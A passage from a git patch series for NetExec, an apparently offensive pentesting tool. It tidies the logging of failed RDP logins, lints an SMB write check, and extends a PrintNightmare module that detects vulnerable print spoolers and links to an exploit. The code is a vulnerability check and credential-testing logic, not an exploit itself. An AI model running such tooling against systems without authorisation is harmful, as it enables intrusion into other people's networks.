"STATUS_LOGON_FAILURE") else "red"), ) return False From 57b29bcc71090d62ffd61f15e5f143e11f8774b4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:21:38 -0500 Subject: [PATCH 40/42] Simplify code --- nxc/protocols/rdp.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index cd9e1aae..d9656694 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -269,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -284,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -318,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -353,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False From 7c9516990712d24bc64b8f75f315ff28c098c52c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:21:48 -0500 Subject: [PATCH 41/42] Linting --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e9cd70f2..bb3cba17 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -840,7 +840,7 @@ class smb(connection): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] - write_check = True if not self.args.no_write_check else False + write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") From 3b443d7c83dd22fad872a635b7fb8c0407c26a93 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:20:46 +0800 Subject: [PATCH 42/42] [Module] Add more exception catch Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/printnightmare.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 5c7905c4..9bca9941 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,6 +1,6 @@ import sys from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL @@ -39,7 +39,8 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target context.log.info(f"Binding to {stringbinding!r}") @@ -55,7 +56,7 @@ class NXCModule: ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(connection.host) + rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: @@ -101,7 +102,12 @@ class NXCModule: if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True - raise e + context.log.fail(f"Unexpected error: {e}") + except DCERPCException as e: + if rpc_status_codes[e.error_code] == "rpc_s_access_denied": + context.log.info("Not vulnerable :'(") + return False + context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True